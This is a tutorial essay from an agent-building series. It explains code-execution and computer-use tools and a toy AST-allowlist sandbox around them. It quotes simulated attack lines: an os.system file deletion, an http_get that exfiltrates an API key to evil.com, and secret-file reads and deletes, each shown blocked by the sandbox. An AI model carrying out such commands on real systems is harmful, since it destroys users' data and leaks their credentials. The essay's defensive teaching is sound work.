AGENTS FROM FIRST PRINCIPLES · PART 13 OF 17

2026-07-09

The Code-Running Tool

Agents need to run code and act on a screen, not just call JSON tools, and that power is dangerous. A sandbox permission boundary contains it. The toy is illustrative.

What you’ll learn

Every tool the agent has touched in this series, and in the RAG series before it, has had the same shape: a typed JSON function the controller fills in and a server runs. search_policy({"query": ...}), process_refund({"order_id": ..., "amount": ...}), the memory tools from Part 6, the MCP tools discovered over the wire in Part 12. They are narrow keyholes: each one does exactly one predeclared thing, and the agent’s whole power is the set of holes someone drilled for it in advance. That is a real limit, because plenty of tasks do not fit any fixed function. “Compute the average order value across these three orders” has no tool unless someone wrote an average_order_value tool; “read this report, transform it, write the result” is not one call but a small program. So this part gives the agent two new tool classes the series has ignored, and they are the dominant agent modality of 2026. The first is code execution: the agent does not call a function, it writes a program and runs it, computing things no fixed tool covers. The second is computer-use: the agent acts on a surface the way a person would, reading and writing files, fetching a page, operating an interface. The moment you add either, capability and danger arrive together. An agent that can run code can read a secrets file, delete your data, or POST it to an attacker. The answer is not to forbid code; it is to run it behind a sandbox / permission boundary built from pieces we already have: an action allowlist, a resource budget, no-network isolation, and idempotent writes. And then a loud, non-negotiable caveat, repeated here because it matters more than anything else in the part: the toy sandbox we build is illustrative, not a real security boundary. In-process Python sandboxing is famously unsound. A real sandbox is OS-level isolation. We build the shape of the boundary so you understand it, and we say plainly where the shape stops being safe.

Prerequisites

You need basic Python: a function, a list, a dictionary, a string check. That is all. Three earlier parts help but are not required. Part 2 gave us a tool taxonomy and the discipline of treating side-effecting tools carefully, which is exactly what code execution and computer-use are. Part 8 gave us the BudgetMeter, and the sandbox reuses it as a resource cap rather than rebuilding it. Part 9 gave us idempotency keys, and the sandbox reuses them so a retried file write does not double-act. But the essay is self-contained: where it leans on an earlier idea it restates it in a sentence, and it does not re-derive the budget meter or the idempotency key, it references them. The companion code, sandboxed_code_tool.py, runs offline with no API key, no network, and no dependencies, so you can read every line and reproduce every line of output in this essay yourself. The default code-execution backend is a deterministic AST-allowlist interpreter (offline); a real hosted LLM writing the code and a real OS-sandbox backend are each one flag away. Critically, the dangerous operations are never really executed: the “damage” on the unsafe path is simulated (mock dict mutations, printed exfiltration), so you can see the consequence without anything actually running.

What is new since the typed-tool world

I want to be precise about what is new, because this is genuinely new ground and not a refinement of the typed-tool world. Every tool in the RAG series was read-only: search an index, fetch a passage, rerank. The worst a RAG tool could do was return the wrong document. The agents series added side-effecting tools (a refund), but they were still narrow, predeclared JSON functions with a fixed argument schema, validated before they fire. Code execution and computer-use break that mold. Code execution means the agent’s action is an arbitrary program, not a call to one of N functions, so its action space is no longer enumerable in advance. Computer-use means the agent acts on a general surface, a filesystem, a browser, a desktop, where the set of things it can touch is everything on that surface, not a curated list. This is the central 2026 agent modality, and it is entirely absent from RAG, because read-only retrieval never needed it. With the new power comes a new failure class the series has not faced: not “the tool returned a bad answer” but “the agent did real, irreversible damage.” So the net-new machinery here is the sandbox / permission boundary: the layer that lets the agent write and run code and operate a surface while bounding what that code and those operations may touch. And the boundary is assembled, not invented: it reuses Part 8’s budget as a resource cap and Part 9’s idempotency keys for safe retries. What is new is the two tool classes and the boundary that contains them.

Two new tool classes

Start with the two classes used legitimately, the way you would actually want them. The first is write-and-run code. The task is to compute the average order value across three orders, [250.0, 180.0, 90.0]. There is no average_order_value tool and there should not be; the agent simply writes the expression and the sandbox runs it. The second is computer-use: the agent reads a file off a surface, the report it was asked to summarize. Here are both, quoted from the artifact’s real output:

    code (avg order value): 'round(sum(orders) / len(orders), 2)' -> 173.33
    computer-use (read): read_file({'path': 'report.txt'}) -> Q2 refunds summary

Read what each one is. The code tool received the string round(sum(orders) / len(orders), 2), evaluated it against a namespace holding orders, and returned 173.33: a real computation, expressed as a tiny program, that no fixed JSON tool covered. The computer-use tool issued the structured command read_file with {'path': 'report.txt'} and got back the file’s contents, Q2 refunds summary: an action on a surface, reading a real file rather than calling a predeclared function. Neither of these fits the typed-keyhole model. The code tool’s “argument” is a program; the computer-use tool’s reach is a filesystem. This is exactly the power that makes these classes the 2026 default: the agent stops being limited to the holes someone drilled and starts being able to compute and act in the open. And it is exactly the power that, pointed the wrong way, does damage.

A diagram contrasting three tool shapes. On the left, under a heading typed JSON function, the old keyhole, a narrow box labelled process_refund with a fixed schema order_id string and amount number, drawn as a small keyhole that does one predeclared thing. A divider separates it from two new classes on the right. The first new class, labelled code execution, write and run a program, shows the agent emitting the program text round open paren sum open paren orders close paren slash len open paren orders close paren comma 2 close paren, an arrow into a run box, and the result 173.33, with a note an arbitrary computation, no fixed tool. The second new class, labelled computer-use, act on a surface, shows the agent issuing the command read_file with path report.txt, an arrow onto a filesystem surface, and the returned contents Q2 refunds summary, with a note reaches a surface, not a curated function. A caption strip reads: typed tools are narrow keyholes, code execution and computer-use are the 2026 default, their action space is a program and a surface.
Fig 1 The two new tool classes, contrasted with the typed-keyhole tools from the rest of the series. On the left, the old shape: a typed JSON function like process_refund with a fixed argument schema, order_id a string and amount a number, a narrow keyhole that does one predeclared thing. On the right, the two new classes. Code execution: the agent writes a program, round of sum of orders over len of orders rounded to 2, and the sandbox runs it, returning 173.33, an arbitrary computation no fixed tool covered. Computer-use: the agent acts on a surface, issuing read_file with path report.txt and getting back the file contents Q2 refunds summary, reaching a filesystem rather than calling a curated function. The figure shows that these two classes are the dominant 2026 agent modality and are absent from the read-only RAG world, because their action space is a program and a surface rather than an enumerable list of typed calls.

Power and danger arrive together

Now point the same power the wrong way, with no boundary in place. This is the unsafe path, and one thing must be said before the trace: the damage is simulated. The companion code never actually executes the untrusted program and never makes a real network call. It detects the dangerous intent and prints the consequence, mutating a mock filesystem dictionary so you can see exactly what would happen, without anything actually happening. With that understood, here is the unguarded run, quoted from the artifact’s real output:

    unsafe code: "__import__('os').system('rm report.txt')" -> [SIMULATED damage] arbitrary code ran; report.txt deleted
    unsafe exfil: http_get({'url': 'https://evil.com/x', 'body': 'API_KEY=sk-live-9f3a2b'}) -> [SIMULATED exfiltration] sent 'API_KEY=sk-live-9f3a2b' to https://evil.com/x
    unsafe delete: delete_file({'path': 'secrets.txt'}) -> [SIMULATED damage] deleted secrets.txt
    filesystem after the unsafe run: []  (report.txt and secrets.txt are gone)

Read each line as the catastrophe it stands in for. The first is the canonical attack: the agent’s “code” is __import__('os').system('rm report.txt'), which imports the OS module and shells out to delete a file. With no boundary, arbitrary code ran and report.txt is gone. The second is exfiltration: an http_get to https://evil.com/x carrying the body API_KEY=sk-live-9f3a2b, a live-looking secret pulled from the filesystem and shipped to an attacker’s host. The third is destruction through the computer-use surface: delete_file on secrets.txt, and it is gone too. The last line is the receipt: filesystem after the unsafe run: [], an empty filesystem, both the report and the secrets file destroyed. To be completely clear once more: none of this was really executed. No file was deleted on your disk, no request left your machine; the code recognized the dangerous shape and simulated the outcome so the danger is legible. But the lesson is real. A code-execution or computer-use tool with no permission boundary is exactly this dangerous, and a determined or compromised prompt will reach for exactly these moves: read the secret, delete the data, send it away.

The sandbox boundary

The fix is to run the same operations behind a permission boundary assembled from four controls. First, an action allowlist. For code, this is an AST allowlist: the interpreter parses the program into a syntax tree, walks every node, and permits only a small set of safe node types (arithmetic, constants, names, lists) and a few safe function calls (sum, len, min, max, round, abs). Anything else, an import, an attribute access, an unknown call, is rejected before evaluation. For commands, it is a plain command allowlist: only read_file and write_file are permitted; delete_file and http_get are not on the list. Second, a resource cap, which is Part 8’s BudgetMeter reused unchanged, bounding how many operations the agent may run. Third, no-network isolation: there are no reachable external hosts, so even a permitted-looking fetch cannot exfiltrate anything. Fourth, idempotent writes, which are Part 9’s keys reused so a retried write_file does not double-act. Now run the exact same attacks from the unsafe path against this boundary, quoted from the artifact’s real output:

    sandboxed code: "__import__('os').system('rm report.txt')" -> BLOCKED: disallowed function call
    sandboxed read attempt: "open('secrets.txt').read()" -> BLOCKED: disallowed function call
    sandboxed delete: delete_file({'path': 'secrets.txt'}) -> BLOCKED: command 'delete_file' not on the allowlist
    sandboxed exfil: http_get({'url': 'https://evil.com/x', 'body': 'secrets'}) -> BLOCKED: command 'http_get' not on the allowlist

Read the boundary catching each move. The __import__('os').system(...) attack is BLOCKED: disallowed function call, because __import__ is not one of the six allowlisted calls and the AST walk rejects it before anything evaluates. Trying to read the secrets file directly, open('secrets.txt').read(), is BLOCKED: disallowed function call for the same reason: open is not on the allowlist. The delete_file command is BLOCKED: command 'delete_file' not on the allowlist, and http_get is BLOCKED: command 'http_get' not on the allowlist, both rejected by the command allowlist before they can run, so the exfiltration never even reaches the no-network check behind it. Every attack that landed with no boundary is stopped. But a boundary that blocks everything is useless; the point is that legitimate work still passes:

    ...and legitimate work still passes the boundary:
    sandboxed write: write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt
    sandboxed write (retry): write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt (idempotent: already done)
    filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt']  (secrets.txt and report.txt intact)

The first write_file is on the command allowlist, under budget, and within the surface, so it passes: wrote out.txt. The retry, the identical write again, returns wrote out.txt (idempotent: already done): Part 9’s idempotency key recognized the repeat and did not write twice, which is exactly the guarantee you want when a step is retried after a crash or a timeout. And the final receipt is the opposite of the unsafe run: filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt']. The new file was written, and report.txt and secrets.txt are both intact. Same operations, same attacks, but the boundary turned a destroyed filesystem into a protected one while letting the real work through. The interactive figure below lets you run both paths side by side and watch each attack land with no boundary and get blocked by the sandbox.

A diagram with two columns separated by a vertical boundary wall. The left column, headed NO BOUNDARY, shows three attacks reaching a filesystem unimpeded: os.system rm report.txt deleting the report, http_get sending API_KEY sk-live-9f3a2b to evil.com, and delete_file removing secrets.txt, ending in an empty filesystem box labelled both files gone. The right column, headed SANDBOX BOUNDARY, shows the same attacks hitting a wall built of four labelled bricks: action allowlist, an AST allowlist of safe nodes and the calls sum len min max round abs plus a command allowlist of read_file and write_file only; resource cap, Part 8 BudgetMeter; no-network isolation, no external host reachable; and idempotent writes, Part 9 keys. Each attack bounces off with a label, disallowed function call for the import os.system and the open secrets.txt, command not on the allowlist for delete_file and http_get. Below the wall, legitimate work passes through: write_file out.txt succeeds, the retry is marked idempotent already done, and a filesystem box lists out.txt, report.txt, secrets.txt, labelled protected files intact. A prominent banner across the top reads ILLUSTRATIVE ONLY, in-process sandboxing is unsound, a real sandbox is OS-level, gVisor, Firecracker, containers.
Fig 2 The sandbox permission boundary and its four controls, contrasted with the no-boundary run. ILLUSTRATIVE ONLY, not a real security boundary: this in-process AST allowlist is a model of the SHAPE of a boundary, and in-process Python sandboxing is unsound, determined code escapes it. A real sandbox is OS-level isolation, gVisor or Firecracker microVMs or hardened containers, kernel-enforced. The four controls shown: an action allowlist, an AST allowlist of safe node types and the calls sum len min max round abs for code, plus a command allowlist of read_file and write_file only; a resource cap reusing Part 8's BudgetMeter; no-network isolation so no external host is reachable; and idempotent writes reusing Part 9's keys. With no boundary the attacks land (the damage SIMULATED, never really executed), the os.system rm deletes report.txt, the http_get exfiltrates the API key to evil.com, delete_file destroys secrets.txt, leaving an empty filesystem. Through the boundary the same attacks are blocked, disallowed function call for the code, command not on the allowlist for delete_file and http_get, while legitimate work passes, write_file out.txt succeeds and its retry is idempotent, and report.txt and secrets.txt stay intact.

Open figure ↗

Fig 3 The unsafe path and the sandboxed path, interactive, running the same dangerous operations two ways. Step through both. On the no-boundary path the attacks land as simulated damage: the code __import__ os system rm report.txt prints arbitrary code ran, report.txt deleted; http_get sends API_KEY sk-live-9f3a2b to evil.com as simulated exfiltration; delete_file deletes secrets.txt; and the filesystem ends empty. On the sandboxed path the same attacks are blocked by the four controls: the os.system code is blocked as a disallowed function call by the AST allowlist, open secrets.txt is blocked the same way, delete_file and http_get are blocked because they are not on the command allowlist, and the no-network isolation means evil.com is unreachable anyway. Legitimate work still passes: write_file out.txt writes out.txt, the identical retry returns idempotent already done via Part 9's key, and the filesystem ends with out.txt, report.txt, and secrets.txt all intact. The figure is explicit that the damage is simulated and never really executed, and that this in-process sandbox is illustrative only, a real boundary is OS-level isolation.

This sandbox is a toy

This needs to be said as loudly as the rest of the part, because it is the part most likely to get someone hurt if they miss it: the sandbox we just built is a toy. It is a model of the shape of a permission boundary, useful for understanding what the controls are and how they fit together, and it is not a real security boundary. In-process Python “sandboxing”, AST allowlists, stripped __builtins__, blocklists of dangerous tokens, is famously and provably unsound. The Python object model is too rich to fence off from inside the same interpreter: there are well-known escape chains that walk from an innocent-looking object up through __class__, __bases__, __subclasses__, and back down to os or subprocess, and every blocklist is a list of the escapes someone thought of, against an attacker who only needs one nobody did. Do not read the AST allowlist in this part and conclude you can safely run untrusted code in your own process. You cannot. A real sandbox is OS-level isolation, where the untrusted code runs in a separate jail the kernel enforces, not the language runtime: gVisor (a user-space kernel that intercepts syscalls), Firecracker microVMs (lightweight hardware-virtualized VMs, what runs code in many serverless and agent platforms), or hardened containers with seccomp, dropped capabilities, read-only mounts, and no network. The four controls we built, allowlist, resource cap, no-network, idempotency, are all still good ideas on top of OS-level isolation; defense in depth wants both. But the isolation itself has to come from the kernel, not from a syntax-tree walk. Treat everything in the figures as the vocabulary of a boundary, learn what each control is for, and then put your code-execution tool inside a microVM. We pick this up in Part 16, where the boundary becomes a full agentic-security pipeline.

💡 From experience. I learned this the embarrassing way: I once shipped a code-execution tool guarded by an AST allowlist almost exactly like the one in this part, convinced that if I rejected imports and attribute access and only allowed a handful of math calls, untrusted input could not hurt me. It held up fine against the obvious attacks in review. Then a colleague, in about ten minutes and entirely in good faith, handed me an expression that never used the word import or a dotted name and still walked the object graph from a literal up through __subclasses__ to a class that could spawn a process. Nothing on my blocklist appeared in it. That was the day I internalized that in-process sandboxing is not a boundary, it is a speed bump, and a determined attacker drives over it. We tore the AST sandbox out as the only defense and moved code execution into a Firecracker microVM, one ephemeral VM per run, no network, a read-only base image, the whole thing torn down afterward, with the allowlist and budget kept as a cheap first filter inside the jail rather than as the jail itself. The near-miss cost us nothing because it was a colleague; the lesson is that the real boundary has to be kernel-enforced and OS-level, and anything you do in-process is defense in depth on top of that, never the thing you trust. If you remember one sentence from this part, remember that one.

Key takeaways

  • Every tool in the series so far has been a typed JSON function, a narrow keyhole that does one predeclared thing. Two new tool classes break that mold and are the dominant 2026 modality: code execution (the agent writes and runs a program, its action space is no longer enumerable) and computer-use (the agent acts on a surface like a filesystem or browser, its reach is everything on that surface).
  • Used legitimately, the code tool computed round(sum(orders) / len(orders), 2) -> 173.33, a calculation no fixed tool covered, and the computer-use tool ran read_file({'path': 'report.txt'}) -> Q2 refunds summary, an action on a real surface. Neither fits the typed-keyhole model.
  • Capability and danger arrive together. With no boundary (damage simulated, never really executed), __import__('os').system('rm report.txt') deleted the report, http_get exfiltrated API_KEY=sk-live-9f3a2b to evil.com, and delete_file destroyed secrets.txt, leaving the filesystem after the unsafe run: [].
  • The fix is a sandbox / permission boundary with four controls: an action allowlist (an AST allowlist of safe nodes and the calls sum len min max round abs for code, plus a command allowlist of read_file and write_file only), a resource cap reusing Part 8’s BudgetMeter, no-network isolation, and idempotent writes reusing Part 9’s keys.
  • The boundary blocked every attack that landed with no boundary: the code attacks were BLOCKED: disallowed function call, and delete_file and http_get were BLOCKED: command ... not on the allowlist. Legitimate work still passed, wrote out.txt, the retry wrote out.txt (idempotent: already done), and report.txt and secrets.txt stayed intact.
  • This toy sandbox is illustrative, not a real security boundary. In-process Python sandboxing (AST allowlists, stripped builtins) is unsound; determined code escapes it. A real sandbox is OS-level isolation, gVisor, Firecracker microVMs, or hardened containers, kernel-enforced. The four controls are good defense in depth on top of that isolation, never a substitute for it.

Glossary

  • Code-execution tool: a tool class where the agent’s action is an arbitrary program it writes, not a call to one of N predeclared functions, so it can compute things no fixed tool covers (here, round(sum(orders) / len(orders), 2) -> 173.33). Its action space is not enumerable in advance, which is the source of both its power and its danger.
  • Computer-use: a tool class where the agent acts on a general surface, a filesystem, a browser, a desktop, the way a person would, rather than calling a curated function. Here it issues structured commands like read_file and write_file over a mock filesystem. Its reach is the whole surface, not a fixed list.
  • Sandbox / permission boundary: the layer that lets the agent run code and operate a surface while bounding what it may touch. In this part it is assembled from four controls (action allowlist, resource cap, no-network isolation, idempotent writes). The same attacks that destroy the filesystem with no boundary are blocked through it.
  • Action allowlist (AST allowlist): the control that permits only explicitly listed operations. For code it is an AST allowlist: the program is parsed into a syntax tree, every node is walked, and only safe node types and a few safe calls (sum, len, min, max, round, abs) are allowed, anything else rejected before evaluation. For commands it is a plain list (read_file, write_file only). Real but, in-process, not sound.
  • No-network isolation: the control that makes no external host reachable, so even a permitted-looking fetch cannot exfiltrate private data. Here there are zero allowed hosts, so http_get to evil.com cannot leave even if the command allowlist let it through.
  • Resource cap (BudgetMeter): Part 8’s BudgetMeter reused unchanged to bound how many operations the agent may run inside the boundary, so a sandboxed run cannot exhaust resources even while every individual operation is permitted.
  • Idempotent side effects: Part 9’s idempotency keys reused so a retried write does not double-act. An identical write_file returns wrote out.txt (idempotent: already done) instead of writing twice, the guarantee you need when a step is retried after a crash or timeout.
  • OS-level isolation (gVisor / Firecracker / containers): a real sandbox, where untrusted code runs in a separate jail the kernel enforces, not the language runtime. gVisor is a user-space kernel that intercepts syscalls; Firecracker runs lightweight hardware-virtualized microVMs; hardened containers add seccomp, dropped capabilities, read-only mounts, and no network. This is what production uses; the in-process allowlist in this part is illustrative only.

The rule from this part: when the agent needs to compute something no fixed tool covers or act on a real surface, give it code execution and computer-use, but never give it those without a permission boundary, because the same power that does real work does real damage. Build the boundary from pieces you already have, an action allowlist (an AST allowlist for code, a command allowlist for actions), a resource cap (Part 8’s BudgetMeter), no-network isolation, and idempotent writes (Part 9’s keys), and verify it by running the same dangerous operations both ways: every attack that lands with no boundary should be blocked through it while legitimate work still passes. And carry away the loudest lesson intact: the in-process sandbox in this part is illustrative, not a real boundary; a real one is OS-level isolation (gVisor, Firecracker microVMs, hardened containers), kernel-enforced, with these controls as defense in depth on top. But notice the assumption that has held since Part 1: there has been exactly one agent, one controller, one context window, working the problem alone. Some tasks do not fit one agent. When the work is broad, “audit all forty of these files,” “research six independent subtopics at once,” a single agent with a single context window has to do it depth-first, one item after another, and the context fills with the debris of each. Part 14, The Supervisor and the Handoff, gives the agent the ability to spawn and coordinate other agents, a supervisor that hands subtasks to workers running in parallel with their own clean context windows, and it is honest about when multi-agent helps and when it just multiplies the ways things go wrong.

AgentsCode ExecutionComputer UseSandboxSecurityAI